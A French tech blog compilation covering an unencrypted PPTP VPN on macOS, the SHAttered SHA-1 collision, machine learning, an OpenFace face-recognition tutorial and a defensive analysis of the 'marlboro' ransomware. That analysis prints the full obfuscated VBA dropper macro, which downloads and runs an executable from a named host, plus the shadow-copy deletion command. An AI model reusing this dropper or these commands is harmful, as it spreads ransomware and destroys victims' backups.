Se connecter à un VPN PPTP avec le chiffrement optionnel sous macOS Sierra

Se connecter à un VPN PPTP avec le chiffrement optionnel sous macOS Sierra

Pour un client, je devais me connecter à un VPN Point-to-Point Tunneling Protocol configuré pour ne pas supporter le chiffrement. Sous Windows, cela ne pose pas particulièrement de problème, dans les propriétés de la connexion, il suffit de sélectionner chiffrement optionnel :

propriétés connexion VPN

Le problème, c'est que je suis essentiellement sous macOS Sierra et, pour des raisons de sécurité, Apple a supprimé le support PPTP dans Sierra et iOS 10. Après quelques recherches on trouve deux alternatives :

  1. Shimo (payant : 49 €)
  2. Flow VPN (gratuit)

Ils supportent tous les deux le PPTP mais lorsqu'on tente de se connecter à un serveur configuré pour ne pas supporter le chiffrement, on obtient le message d'erreur suivant :

MPPE required, but MS-CHAP[v2] auth not performed.

Dans les deux cas, cela vient du fait que ces logiciels activent par défaut le chiffrement obligatoire. En fait ils contiennent la ligne suivante dans leur configuration :

require-mppe

Il faut donc trouver un moyen de ne pas tenir compte de cette ligne lors de la connexion.

Pour Shimo, c'est assez simple, on ajoute nomppe dans l'onglet "expert" des propriétés de la connexion :

shimo nomppe

Pour Flow VPN, c'est un peu plus compliqué. Il faut mettre des # aux lignes 92 et 93 du fichier "FlowVPN Connect.app/Contents/MacOS/FlowVPN Connect" (en utilisant "clic droit -> Afficher le contenu du paquet") :

flowVPN nomppe commentaires

Et voilà, dans les deux cas, après, on peut se connecter.

SHAttered, comment cela peut fonctionner ? Analyse des fichiers

SHAttered, comment cela peut fonctionner ? Analyse des fichiers

La semaine dernière, une équipe du CWI et de Google Research a publié le site shattered.io. Ils montrent la première collision SHA1 réelle. Il s'agit de générer deux fichiers différents présentant le même hash, SHA1 dans ce cas. L'objet de cet article est l'analyse en profondeur de ces deux fichiers afin de déterminer comment cela peut fonctionner.

On trouve les PDF ici et .

Tout d'abord, ils présentent bien un SHA1 identique, mais un MD5 différent :

shattered_md5_sha1

Les MD5 montrent que les fichiers sont bien différents.

Il s'agit de PDF ne contenant qu'une page. Visuellement, on les différencie par la couleur de fond de la partie haute. Sur le premier fichier, elle est bleue et sur le second, elle est rouge.

2shattered

Les deux fichiers font exactement la même taille. Lorsqu'on les compare, on constate que 99,97 % de leur contenu sont strictement identiques. Seuls 62 octets entre les offset 0xC0 et 0x130 sont différents :

shatteredvs

On remarque également que les fichiers PDF contiennent chacun la signature d'un fichier JPG à l'offset 0x95. Ces images occupent, à elles seules, plus de 99 % des PDF. A l'aide de PDF Stream Dumper, on peut visualiser les différents flux des PDF. On constate qu'il n'y en a que 13 et qu'ils sont structurés très simplement. Ce logiciel permet également d'extraire les fichiers JPG :

shattered_pdfstream

Les deux fichiers JPG contiennent les mêmes différences que les fichiers PDF.

shattered_jpgvs

En s'intéressant à la structure les fichiers JPG, on remarque qu'ils contiennent des commentaires de tailles différentes :

shattered_jpgvs_color

En reproduisant, sur l'intégralité des deux images, le même processus que sur l'image précédente, on obtient quelque chose comme cela :

shattered_jps_comm

On en conclut qu'en réalité, les fichiers contiennent tous les deux les deux images.
De plus, seul l'octet à l'offset 0x2B (0x73 pour la première image et 0x7F pour la deuxième), c'est à dire le deuxième octet de la taille du deuxième commentaire, permet de passer d'une image à l'autre. Ainsi, le logiciel en charge d'afficher les images ne lit pas les mêmes zones de données en fonction de l'octet à l'offset 0x2B. Dans le cas de l'image du premier fichier, seule la seconde moitié est réellement utile, et pour l'image du second fichier, seule la première moitié est réellement utile.

Au final, une fois que les JPG et les PDF ont été générés, les chercheurs disposaient de 369 octets pour générer leur collision. Ils n'en ont utilisé que 127, dont seulement 61 modifiés.

Pour conclure, déterminer comment cela peut fonctionner est assez simple. Mais générer la collision, c'est là qu'est la difficulté, surtout en terme de puissance de calcul.

Pourquoi les géants du Web et du numérique dominent l'intelligence artificielle

Pourquoi les géants du Web et du numérique dominent l'intelligence artificielle

Ce billet conclut ma série de trois articles sur le machine learning.

Dans les précédents articles, nous avons vu qu'avec un minimum de connaissances informatiques, il était assez facilement possible de mettre en place des algorithmes d'apprentissage automatique, permettant, entre autres, de classifier des espèces de plantes à partir de caractéristiques, des images en fonction de leur contenu ou encore des visages.

selfie-reconnu

Mais surtout je concluais le deuxième article en disant que la principale difficulté était de trouver les images d'entraînement.

En effet, on comprend assez aisément que pour avoir des résultats pertinents, il faut avoir la plus grande quantité de données d'entrainement possible. Dans le domaine du machine learning, on dit souvent que les données sont plus importantes que les algorithmes. Ainsi, déjà en 2011, Peter Norvig, directeur de recherche chez Google, déclarait :

We don’t have better algorithms. We just have more data.

Google propose son assistant personnel intelligent gratuitement sur tous les smartphone Android, Apple fait de même avec Siri sur toute sa gamme, et Amazon vend ses Echo Dot à moins de $50. Tout ce que l'on dit à ces assistants est enregistré pour toujours. Ils disposent donc régulièrement de nouvelles centaines de milliers d'heures d'enregistrements, qui leur permettent d'améliorer la qualité des résultats de leur reconnaissance vocale et des réponses apportées.

Google offre d'autres services gratuitement, notamment son système reCAPTCHA qui permet de vérifier que les visiteurs d'un site sont bien humain. Pour cela, la plupart du temps, il s'agit d'une simple case à cocher mais parfois il faut reconnaitre des éléments sur une photographie. Cela permet à Google de valider les prédictions de ses algorithmes et de les nourrir pour accroitre la justesse des résultats.

Je pourrais encore citer d'autres exemples avec lesquels les géants du web alimentent sans cesse leurs bases de données dans le but d'améliorer les prédictions des algorithmes d'apprentissage automatique, mais, je pense que vous avez saisi l'idée.

Et donc, voilà pourquoi les géants du Web et du numérique sont les champions l'intelligence artificielle. Parce qu'ils ont accès aux données nécessaires à l'entrainement des algorithmes. Nous les leur fournissons gratuitement en échange des services qu'ils nous apportent. Ils n'hésitent pas à s'en nourrir constamment.

Si vous voulez créer quelque chose qui se base sur l’intelligence artificielle, il faudra avant tout trouver un moyen d’obtenir, si possible gratuitement, les données pertinentes et en quantité suffisante. Au final, ces données ou même la manière de les collecter pourraient-être un produit à elles seules.

Pour conclure, en entreprise, conservez soigneusement vos données commerciales et techniques, elles pourront peut-être valoir de l'or et servir un jour.

Interview Lemnet pour Nancy Numérique

Interview Lemnet pour Nancy Numérique

Dans le cadre du nouveau site internet de Nancy Numérique (dont je suis adhérent) et de la nouvelle rubrique interview, Philippe Paci (@philippepaci) a réalisé une interview de moi.

Je réponds aux questions suivantes :

  1. Peux-tu nous présenter ton activité ?
  2. Je te dis Nancy Numérique, tu me dis ... ?
  3. Effet WAHOU avec Nancy Numérique ? Raconte alors !
  4. Un avis sur l'écosystème digital de notre agglomération ?
  5. Tes 3 suggestions pour une France numérique ?
  6. Et à part ça, une chose à dire ?

Vous trouverez mes réponses ici : http://www.nancynumerique.net/interview/

Merci à Nancy Numérique et à Philippe pour cet interview !

Analyse rapide du ransomware marlboro

Analyse rapide du ransomware marlboro

Depuis hier, un nouveau rançongiciel nommé "marlboro" est apparu dans une campagne de spam. Il distribue un fichier word nommé "maxi.docm" dont voici le contenu visible :

marlboro

Ce fichier a un ratio de détection virustotal de 24/56. Il contient une macro qui, si les elles sont activées, s'exécute à l'ouverture du document :

#If Win64 Then
Private Declare PtrSafe Function mdd751a3e80c6fad16ee7801c3493dcdd Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As LongPtr
Private Declare PtrSafe Function n9861322a82506a797cc5e8f0267601d0 Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As LongPtr
#Else
Private Declare Function n9861322a82506a797cc5e8f0267601d0 Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long
Private Declare Function mdd751a3e80c6fad16ee7801c3493dcdd Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
#End If

Private Sub Document_Open()

On Error Resume Next
Dim q56aa9d485365fb51ab9833044e857343
q56aa9d485365fb51ab9833044e857343 = ChrW(104) + ChrW(116) + ChrW(116) + ChrW(112) + ChrW(58) + ChrW(47) + ChrW(47) + ChrW(109) + ChrW(104) + ChrW(117) + ChrW(115) + ChrW(116) + ChrW(108) + ChrW(101) + ChrW(114) + ChrW(50) + ChrW(48) + ChrW(49) + ChrW(56) + ChrW(46) + ChrW(48) + ChrW(48) + ChrW(48) + ChrW(119) + ChrW(101) + ChrW(98) + ChrW(104) + ChrW(111) + ChrW(115) + ChrW(116) + ChrW(97) + ChrW(112) + ChrW(112) + ChrW(46) + ChrW(99) + ChrW(111) + ChrW(109) + ChrW(47) + ChrW(117) + ChrW(48) + ChrW(48) + ChrW(48) + ChrW(48) + ChrW(48) + ChrW(46) + ChrW(119) + ChrW(105) + ChrW(99) + ChrW(107) + ChrW(101) + ChrW(100)
Dim be8acf9f7bbcf1902bcda5db9f32501d4 As Object
Dim bcb6349ce7630f24ec1aa9bd29dacdb8f As String
Set be8acf9f7bbcf1902bcda5db9f32501d4 = CreateObject("WScript.Shell")
bcb6349ce7630f24ec1aa9bd29dacdb8f = be8acf9f7bbcf1902bcda5db9f32501d4.SpecialFolders("MyDocuments")
Dim b172056081f8581a6c317d44695da9c2d
Dim ea195016377e8498c4944d94f9365750d As String
ea195016377e8498c4944d94f9365750d = UserForm1.Label3.Caption
Dim z57fbbe9a55b7e76e8772bb12c27d0537 As String
Dim naa748b20fce35512e4e8aa0f8a67d3c4$, bc5ea98bbe8bfcd700715deb41c5cb71c$
naa748b20fce35512e4e8aa0f8a67d3c4 = q56aa9d485365fb51ab9833044e857343
bc5ea98bbe8bfcd700715deb41c5cb71c = bcb6349ce7630f24ec1aa9bd29dacdb8f + "/aegnmiae." + UserForm1.Label1.Caption + UserForm1.Label2.Caption + UserForm1.Label1.Caption
b172056081f8581a6c317d44695da9c2d = n9861322a82506a797cc5e8f0267601d0(0, naa748b20fce35512e4e8aa0f8a67d3c4, bc5ea98bbe8bfcd700715deb41c5cb71c, 0, 0)
UserForm1.Label4.Caption = bc5ea98bbe8bfcd700715deb41c5cb71c
e0fece8647c2c2169f969c40262081af8 = UserForm1.Label4.Caption
mdd751a3e80c6fad16ee7801c3493dcdd 0, ea195016377e8498c4944d94f9365750d, e0fece8647c2c2169f969c40262081af8, 0, 0, 3



End Sub

Ce code télécharge le fichier "http://mhustler2018.000webhostapp.com/u00000.wicked" dans "%USERPROFILE%\Documents\aegnmiae.EXE". Il a un ratio de détection virustotal de 29/58. L'icône ressemble à celle d'un document word :

marlboro-icone

A l'issue du téléchargement, le malware est exécuté et il effectue les opérations suivantes :

  • chiffrement de fichiers ayant certaines extensions,
  • ajout de oops à la fin des noms des fichiers qu'il a chiffrés,
  • suppression des volume shadow copy

cmd.exe /C vssadmin.exe Delete Shadows /All /Quiet

  • création du fichier "_HELP_Recover_Files_.html" partout où il a chiffré des fichiers : marlboro-help

  • création du fichier "DecryptFiles.exe", qui est censé permettre le déchiffrement, mais qui ne fonctionne pas (ou plus) : marlboro-decrypter

  • ping inutile et suppression de lui même :

cmd.exe /C ping 1.1.1.1 -n 1 -w 6000 > Nul & Del "C:\Users\Administrator\Documents\aegnmiae.EXE"

Bien que le fichier html indique que le ransomware utilise un chiffrement fort, lorsqu'on regarde de plus près un fichier chiffré, on se rend facilement compte qu'il s'agit en fait d'un simple XOR. En effet, en éditant un simple fichier pdf, on constate que certaines parties contiennent de nombreuses fois une suite de 8 caractères ou le début de cette suite. Voici un exemple :

marlboro-xor

On sait que la majorité des fichiers classiques contiennent des zones ne comportant que des octets à zeros. On sait également que A XOR 0 = A. Cela permet de conclure qu'il s'agit d'un simple XOR et on trouve facilement la clé de déchiffrement. Dans mon cas, il s'agit de 0x617963626D6E656A.

On peut dire que c'est un rançongiciel de mauvaise qualité. En plus de n'utiliser qu'un simple XOR, le processus de chiffrement est buggé. En effet, sur certains fichiers, il supprime les derniers octets et cela peut les rendre inutilisables, même s'ils sont déchiffrés.

Emsisoft propose un outil de déchiffrement gratuit. Cependant, il nécessite de posséder au moins une copie d'un fichier avant le chiffrement. Si vous ne possédez pas cette copie, cela ne fonctionnera pas avec cet outils.

Pour conclure, comme d'habitude, ne payez surtout pas et je rappelle que la solution à ce genre de problématique se situe, selon moi, au niveau de la prévention des utilisateurs.

La reconnaissance faciale accessible à tous avec openface en 5 étapes simples

La reconnaissance faciale accessible à tous avec openface en 5 étapes simples

Cet article fait suite à mon billet précédent sur le machine learning. Il s'agit cette fois de classifier des visages ou, plus simplement, de mettre en place un système qui permet de reconnaître, de manière automatique, des personnes grâce à leur visage . Nous allons tester ce système sur les visages du selfie du tout Hollywood des Oscars 2014 :

selfie-oscar-2015

Sur cette image figurent Bradley Cooper, Ellen DeGeneres, Angelina Jolie, Brad Pitt, Meryl Streep, Julia Roberts, Jennifer Lawrence, Lupita Nyong'o, Peter Nyong'o Jr, Kevin Spacey, Jared Leto et Channing Tatum.

Étape 1 : Docker et images d'entrainement

Il faut télécharger et installer docker. Ensuite, il faut récupérer l'image d'openface et la lancer :

$ docker pull bamos/openface
$ docker run -it -v /Users/lemnet/openface:/openface bamos/openface /bin/bash
# cd openface

Ensuite, on crée des dossiers pour y placer nos images d'entrainement :

# mkdir training
# cd training
# mkdir Brad_Pitt
# mkdir Bradley_Cooper
[...]
# cd ..

Ensuite, il faut télécharger une vingtaine de photos pour chaque personne et les placer dans le sous-dossier correspondant :

# tree
.
├── Brad_Pitt
│   ├── 01.jpg
│   ├── 02.jpg
[...]
│   └── 25.jpg
├── Bradley_Cooper
│   ├── 01.jpg
│   ├── 02.jpg
[...]
│   └── 25.jpg
[...]

Étape 2 : Détection de visage et alignement

# /root/openface/util/align-dlib.py ./training/ align outerEyesAndNose ./aligned/ --size 96

Pour toutes les images contenues dans les sous-dossiers du dossier training le script détecte les visages, les extrait, aligne les yeux et le nez, redimensionne les images et place le résultat dans le dossier aligned. Voici deux images montrant ces multiples étapes avec une photo de Brad Pitt et une photo de Bradley Cooper :

brad-pitt-aligned-resizedbradley-cooper-aligned-resized

Étape 3 : Représentation des images alignées

# /root/openface/batch-represent/main.lua -outDir ./result/ -data ./aligned/

À partir des images alignées, ce script génère deux fichiers csv dans le dossier result. Le premier, nommé labels.csv contient les labels. Il ressemble à ça :

1,./aligned/Brad_Pitt/24.png
1,./aligned/Brad_Pitt/17.png
[...]
2,./aligned/Bradley_Cooper/02.png
2,./aligned/Bradley_Cooper/08.png
[...]

Le second, nommé reps.csv contient pour chaque image une représentation numérique :

-0.079513750970364,0.043242372572422,0.07426492869854,-0.091558545827866,0.06730080395937,0.01907422952354,-0.010245048440993,0.043403118848801,-0.01080765388906,-0.0019726541358978,0.029274379834533,0.011781117878854,-0.10427265614271,-0.18958739936352,0.082550443708897,0.045127235352993,-0.096091546118259,-0.017451703548431,0.075089387595654,-0.040827058255672,0.0083134556189179,0.083514250814915,0.025891171768308,-0.1870334893465,0.016636870801449,0.1201656088233,0.076108574867249,-0.089855946600437,0.13932466506958,-0.11345455050468,0.062359347939491,-0.072660997509956,0.12187822908163,-0.0017955830553547,0.15879856050014,-0.025152010843158,0.12112107872963,0.019075144082308,0.14927686750889,-0.069870434701443,0.1209364682436,-0.096725597977638,0.03348121792078,0.059552174061537,-0.094909250736237,0.079473905265331,0.052089180797338,-0.062602028250694,-0.17977291345596,-0.11288245022297,-0.23634988069534,-0.015410038642585,-0.0026467381976545,0.010406941175461,-0.081556968390942,0.023243123665452,0.0054560410790145,-0.056465104222298,-0.30349093675613,0.092260658740997,-0.074208624660969,-0.10985157638788,0.13710018992424,-0.015253474004567,0.21344821155071,0.031170791015029,-0.086570285260677,-0.039965011179447,0.016601404175162,-0.019380843266845,-0.053903806954622,-0.045722220093012,-0.097987584769726,-0.034954115748405,0.075692936778069,-0.039322711527348,-0.047042615711689,0.086616508662701,-0.0038034450262785,-0.064381942152977,-0.10132753103971,0.044696487486362,0.027787212282419,0.13075566291809,-0.013653952628374,-0.015349956229329,0.022534357383847,0.10326029360294,-0.047985222190619,0.046620875597,0.17566956579685,0.0075213755480945,-0.13740640878677,0.096532210707664,0.052546411752701,-0.019534885883331,-0.022727446630597,0.063606709241867,-0.051598604768515,0.025997584685683,-0.094908900558949,-0.13522194325924,-0.10364888608456,-0.089708864688873,0.12060751020908,0.068853013217449,0.19906789064407,0.061816807836294,0.075233280658722,-0.047512516379356,-0.054883949458599,-0.06100058555603,-0.0027660827618092,0.0016581763047725,0.13476423919201,-0.072945423424244,-0.078956924378872,-0.067385271191597,0.082239367067814,0.045021571218967,0.08066825568676,-0.018503317609429,0.0010944502428174,0.050739988684654,0.086741372942924,0.011823086068034,0.094880275428295,-0.0049750739708543
-0.070263981819153,-0.064780130982399,0.068833753466606,-0.079573705792427,-0.02393763884902,0.056701745837927,-0.025278033688664,0.10987707227468,0.072828710079193,-0.012801049277186,0.031829673796892,-0.026127202436328,-0.11176656186581,-0.13374063372612,0.090488865971565,-0.041589949280024,-0.14681378006935,0.044288713485003,0.10873435437679,-0.15384067595005,0.0046405284665525,0.16082474589348,-0.0067559820599854,-0.1942777633667,-0.014278737828135,0.1302190721035,0.055440001189709,-0.10188861936331,0.042436596006155,-0.13196943700314,0.077907674014568,-0.091224417090416,0.083212152123451,-0.049031566828489,0.14888316392899,-0.03791756555438,0.09282723814249,-0.010352308861911,0.14886169135571,0.035943761467934,0.13995899260044,0.00011858189100167,-0.073888853192329,0.061065085232258,-0.11892623454332,-0.13252264261246,-0.035222668200731,-0.10962913930416,0.02320571616292,-0.11148305237293,-0.15579849481583,-0.0012985581997782,0.040522128343582,0.10002072900534,-0.11489909887314,0.016101259738207,0.14151233434677,-0.11592414230108,-0.19397619366646,0.009063757956028,-0.069678321480751,-0.12178941071033,0.065132349729538,0.050163809210062,0.053401399403811,0.0057254293933511,0.066441938281059,-0.05257598310709,0.17400214076042,0.00010578936780803,-0.011980256065726,-0.025771487504244,0.01014574803412,0.014672530815005,0.030921567231417,-0.10137071460485,-0.18099300563335,-0.026000754907727,-0.056350953876972,-0.051783930510283,-0.040815364569426,0.12529125809669,0.12283923476934,0.11534231901169,0.072093278169632,0.0099285449832678,0.10711506009102,0.09900077432394,-0.031046276912093,-0.069916144013405,0.098551474511623,0.049529325217009,-0.067352935671806,-0.0083199115470052,0.0075457850471139,-0.099030457437038,-0.04363788664341,0.058397993445396,-0.082195706665516,0.081268534064293,-0.064576953649521,-0.079441629350185,0.01824301853776,-0.1133379638195,0.14663629233837,-0.022325491532683,0.17956200242043,-0.051539111882448,0.011463063769042,0.032830137759447,-0.035160392522812,-0.10720814019442,-0.0049185594543815,-0.063472390174866,0.072514407336712,-0.051096092909575,0.031789872795343,-0.10537253320217,0.07302663475275,-0.13138537108898,0.14706198871136,-0.05070673674345,0.042252391576767,-0.051124904304743,0.062476176768541,-0.056198608130217,0.088456481695175,0.17326207458973
[...]

Étape 4 : Entraînement

# /root/openface/demos/classifier.py train ./result/

Ce script va générer un modèle SVM (Machine à vecteurs de support) dans le fichier classifier.pkl. Il sera utilisé pour reconnaître les visages dans l'étape suivante

Étape 5 : Reconnaissance

# /root/openface/demos/classifier.py infer --multi ./result/classifier.pkl selfie.jpg

Ce script tente de reconnaitre les visages et retourne quelque chose comme ça :

=== selfie.jpg ===
List of faces in image from left to right
Predict Jennifer_Lawrence @ x=623 with 0.83 confidence.
Predict Ellen_DeGeneres @ x=981 with 0.37 confidence.
Predict Channing_Tatum @ x=1002 with 0.28 confidence.
Predict Channing_Tatum @ x=1146 with 0.20 confidence.
Predict Julia_Roberts @ x=1359 with 0.45 confidence.
Predict Ellen_DeGeneres @ x=1392 with 0.84 confidence.
Predict Kevin_Spacey @ x=1751 with 0.76 confidence.
Predict Bradley_Cooper @ x=2051 with 0.78 confidence.
Predict Brad_Pitt @ x=2187 with 0.76 confidence.
Predict Peter_Nyongo_Jr @ x=2779 with 0.78 confidence.

On remarque que Channing Tatum et Ellen DeGeneres ont été trouvés deux fois, mais surtout que des résultats textuels sont difficiles à interpréter avec des images contenant beaucoup de visage (option --multi). Ainsi, en modifiant quelque peu le script, on peut obtenir assez facilement l'image suivante, plus facilement interprétable :

selfie-reconnu

Sur l'image, on remarque que :

  • six visages sont reconnus avec un indice de confiance supérieur à 75 % (en vert).
  • un visage est reconnu avec un indice de confiance compris entre 40 % et 75 % (en orange).
  • deux visages sont reconnus avec un indice de confiance compris entre 25 % et 40 % (en rouge). Pour l'un des deux, l'algorithme se trompe.
  • un visage est reconnu avec un indice de confiance inférieur à 25 % (Channing Tatum dans le carré rouge dans l'oreille de Ellen DeGeneres)

Huit visages sont reconnus correctement et il n'y a que deux erreurs : Meryl Streep n'est pas reconnue et un visage inexistant est détecté dans l'oreille de Ellen DeGeneres.

Conclusion

On constate qu'il n'est pas compliqué de mettre en place un système de reconnaissance faciale en cinq étapes simples. Au final, la phase la plus compliquée est, en fait, de trouver les images d'entraînement.

Nouvelle année, nouveau blog

Nouvelle année, nouveau blog

Nouvelle année, nouveau blog

2016 s'est achevé et il est temps de regarder vers l'avenir, vers cette nouvelle année qui s'annonce. Pour marquer cette étape, nous faisons évoluer le CMS du blog. Nous laissons Nibbleblog derrière pour passer à HTMLy.

J'en profite pour souhaiter à tout le monde, tous mes voeux de bonheur et de réussite. Que cette nouvelle année puisse vous apporter tout ce dont vous pouvez rêver.

Le machine learning aujourd'hui et ce que cela implique

Le machine learning aujourd'hui et ce que cela implique

Le machine learning, ou apprentissage automatique ou statistique en français, cet article wikipédia nous dit que cela "concerne la conception, l'analyse, le développement et l'implémentation de méthodes permettant à une machine (au sens large) d'évoluer par un processus systématique, et ainsi de remplir des tâches difficiles ou impossibles à remplir par des moyens algorithmiques plus classiques."

Avant tout, je précise que je ne suis pas un spécialiste du domaine.

En se basant sur des exemples issus d'une série de vidéos de Google Developers, nous allons voir à quoi cela correspond plus concrètement. Pour cela nous utiliseront Scikit-learn et TensorFlow, des bibliothèques python libres d'apprentissage automatique.

  1. Classification d'éléments par caractéristiques

Il s'agit d'être capable de classifier des éléments à partir d'un jeu de données contenant des caractéristiques.

Dans cet exemple, nous allons tenter de classifier des iris dans leur sous-espèce à partir de la longueur et de la largeur des sépales et des pétales. Pour cela nous disposons du tableau suivant contenant 150 entrées (disponible dans son intégralité sur cet article wikipédia) :

longueur des sépales largeur des sépales longueur des pétales largeur des pétales espèce
5,1 3,5 1,4 0,2 setosa
4,9 3 1,4 0,2 setosa
4,7 3,2 1,3 0,2 setosa
4,6 3,1 1,5 0,2 setosa
5 3,6 1,4 0,2 setosa
5,4 3,9 1,7 0,4 setosa
4,6 3,4 1,5 0,2 setosa
[...]
7 3,2 4,7 1,4 versicolor
6,4 3,2 4,5 1,5 versicolor
6,9 3,1 4,9 1,5 versicolor
5,5 2,3 4 1,3 versicolor
6,5 2,8 4,6 1,5 versicolor
5,7 2,8 4,5 1,3 versicolor
[...]
6,3 3,3 6 2,5 virginica
5,8 2,7 5,1 1,9 virginica
7.1 3 5,9 2,1 virginica
6.3 2,9 5,6 1,8 virginica
6.5 3 5,8 2,2 virginica
7.6 3 6,6 2,1 virginica
[...]

Le code suivant utilise une méthode générant un arbre de décision. Il résout le problème en quelques lignes :

import numpy as np
from sklearn.datasets import load_iris
from sklearn import tree

# (1)
# import des donnees
iris = load_iris()

# (2)
test_idx = [0, 50, 100] 
# donnees entrainement
train_target = np.delete(iris.target, test_idx)
train_data = np.delete(iris.data, test_idx, axis=0)
# donnees test
test_target = iris.target[test_idx]
test_data = iris.data[test_idx]

# (3)
# entrainement
clf = tree.DecisionTreeClassifier()
clf = clf.fit(train_data, train_target)

# (4)
txt_result =['setosa', 'versicolor', 'virginica']
# calcul et affichage des resulats
result = clf.predict(test_data)
for i in range(len(result)):
    print str(test_data[i]) + " --> ",
    print txt_result[result[i]]

Dans l'ordre, on effectue les opérations suivantes :

  • Importer toutes les données
  • Exclure la première setosa (idx 0), la première versicolor (idx 50) et la première virginica (idx 100) des données d'entrainement, pour les utiliser comme données de test
  • L'algorithme créé un arbre de décision
  • Calculer et afficher les résultats pour les données de test

A l'exécution du script, on remarque que l'arbre de décision créé par l'algorithme, permet effectivement de catégoriser l'espèce :

$ python arbre_iris.py
[ 5.1  3.5  1.4  0.2] -->  setosa
[ 7.   3.2  4.7  1.4] -->  versicolor
[ 6.3  3.3  6.   2.5] -->  virginica

Avec un peu plus de code, de manière à visualiser son fonctionnement, on peut générer une image représentant l'arbre de décision qui a été créé par l'algorithme :

iris

On peut aussi utiliser la méthode des k plus proches voisins. Pour cela il suffit de changer deux lignes dans le code précédent :

import numpy as np
from sklearn.datasets import load_iris
from sklearn.neighbors import KNeighborsClassifier # <--------------- ligne changee

# import des donnees
iris = load_iris()

test_idx = [0, 50, 100] 
# donnees entrainement
train_target = np.delete(iris.target, test_idx)
train_data = np.delete(iris.data, test_idx, axis=0)
# donnees test
test_target = iris.target[test_idx]
test_data = iris.data[test_idx]

# entrainement
clf = KNeighborsClassifier() # <--------------- ligne changee
clf = clf.fit(train_data, train_target)

txt_result =['setosa', 'versicolor', 'virginica']
# calcul et affichage des resulats
result = clf.predict(test_data)
for i in range(len(result)):
    print str(test_data[i]) + " --> ",
    print txt_result[result[i]]

À l'exécution du script, on obtient les mêmes résultats qu'auparavant, l'algorithme catégorise bien l'espèce :

$ python arbre_iris.py
[ 5.1  3.5  1.4  0.2] -->  setosa
[ 7.   3.2  4.7  1.4] -->  versicolor
[ 6.3  3.3  6.   2.5] -->  virginica

On constate donc qu'avec une quinzaine de ligne de code, il est assez simple de classifier des éléments à partir d'un jeu de données contenant des caractéristiques numériques.

  1. Classification d'images

Il s'agit d'être capable de classifier des images, en entrainant un algorithme avec d'images connues.

Dans cet exemple, nous allons tenter de différencier et catégoriser des images de roses et de tulipes. Pour cela nous utiliserons inception, un réseau pré-entrainé développé par Google. Pour terminer son entrainement, nous lui fournirons 641 images de roses et 799 images de tulipes, dont voici un échantillon :

rosestulipes

On commence par terminer l'entrainement de l'algorithme avec la commande suivante :

$ python retrain.py \
--bottleneck_dir=/bottlenecks \
--model_dir=/inception \
--output_graph=/retrained_graph.pb \
--output_labels=/retrained_labels.txt \
--image_dir /img

Elle prend un certain temps et affiche les éléments suivants :

Looking for images in 'roses'
Looking for images in 'tulipes'
Creating bottleneck at /bottlenecks/roses/9433167170_fa056d3175.jpg.txt
Creating bottleneck at /bottlenecks/roses/9458445402_79e4dfa89c.jpg.txt
[...]
Creating bottleneck at /bottlenecks/tulipes/8712263493_3db76c5f82.jpg.txt
Creating bottleneck at /bottlenecks/tulipes/8712266605_3787e346cd_n.jpg.txt
[...]
2016-12-25 18:46:40.000000: Step 0: Train accuracy = 59.0%
2016-12-25 18:46:40.236750: Step 0: Cross entropy = 0.643191
2016-12-25 18:46:40.583488: Step 0: Validation accuracy = 50.0%
2016-12-25 18:46:43.671932: Step 10: Train accuracy = 81.0%
2016-12-25 18:46:43.672876: Step 10: Cross entropy = 0.514823
2016-12-25 18:46:44.015942: Step 10: Validation accuracy = 87.0%
[...]
2016-12-25 19:04:52.943261: Step 3999: Train accuracy = 98.0%
2016-12-25 19:04:52.944066: Step 3999: Cross entropy = 0.088042
2016-12-25 19:04:53.190913: Step 3999: Validation accuracy = 85.0%
Final test accuracy = 93.0%
Converted 2 variables to const ops.

Après qu'il a analysé les 1440 images, nous obtenons deux fichiers : "retrained_graph.pb" et "retrained_labels.txt". À partir de ces deux fichiers, nous pouvons tenter d'identifier des images en utilisant le code suivant :

import tensorflow as tf, sys

image_path = sys.argv[1]

# Read in the image_data
image_data = tf.gfile.FastGFile(image_path, 'rb').read()

# Loads label file, strips off carriage return
label_lines = [line.rstrip() for line in tf.gfile.GFile("./retrained_labels.txt")]

# Unpersists graph from file
with tf.gfile.FastGFile("./retrained_graph.pb", 'rb') as f:
    graph_def = tf.GraphDef()
    graph_def.ParseFromString(f.read())
    _ = tf.import_graph_def(graph_def, name='')

with tf.Session() as sess:
    # Feed the image_data as input to the graph and get first prediction
    softmax_tensor = sess.graph.get_tensor_by_name('final_result:0')

    predictions = sess.run(softmax_tensor, {'DecodeJpeg/contents:0': image_data})

    # Sort to show labels of first prediction in order of confidence
    top_k = predictions[0].argsort()[-len(predictions[0]):][::-1]

    for node_id in top_k:
        human_string = label_lines[node_id]
        score = predictions[0][node_id]
        print('%s (score = %.5f)' % (human_string, score))

Il suffit ensuite de lui passer une image en argument et il l'identifie lorsque c'est possible :

$ python label_image.py rose.jpg
roses (score = 0.99040)
tulipes (score = 0.00960)
$ python label_image.py tulipe.jpg
tulipes (score = 0.99649)
roses (score = 0.00351)
$ python label_image.py marguerite.jpg
roses (score = 0.66204
tulipes (score = 0.33796)

On constate que, lorsqu'on lui fournit une image de rose, il l'identifie à 99 %. Il en est de même pour la tulipe. Lorsqu'on lui fournit une image contenant une marguerite, un type d'image pour lequel l'algorithme n'a pas été entrainé, il tente tout de même de l'identifier comme une rose ou une tulipe. Mais les indices de confiance sont beaucoup moins tranchés et on peut conclure qu'il ne s'agit ni d'une rose, ni d'une tulipe.

Ainsi, de nouveau, une quinzaine de ligne de code permet de classifier des images pour lesquelles l'algorithme a été entrainé.

  1. Ce que cela implique

Dans le cas du premier exemple, on pourrait étudier les données du tableau et en déduire un arbre de décision, qu'un développeur pourrait transformer en code. Cependant, le nombre de lignes nécessaires serait beaucoup plus important et à chaque nouvelle problématique l'arbre de décision devrait être de nouveau créé et retraduit en code.

C'est là toute la puissance des algorithmes d'apprentissage automatiques, le même code peut être réutilisé pour des problèmes différents.

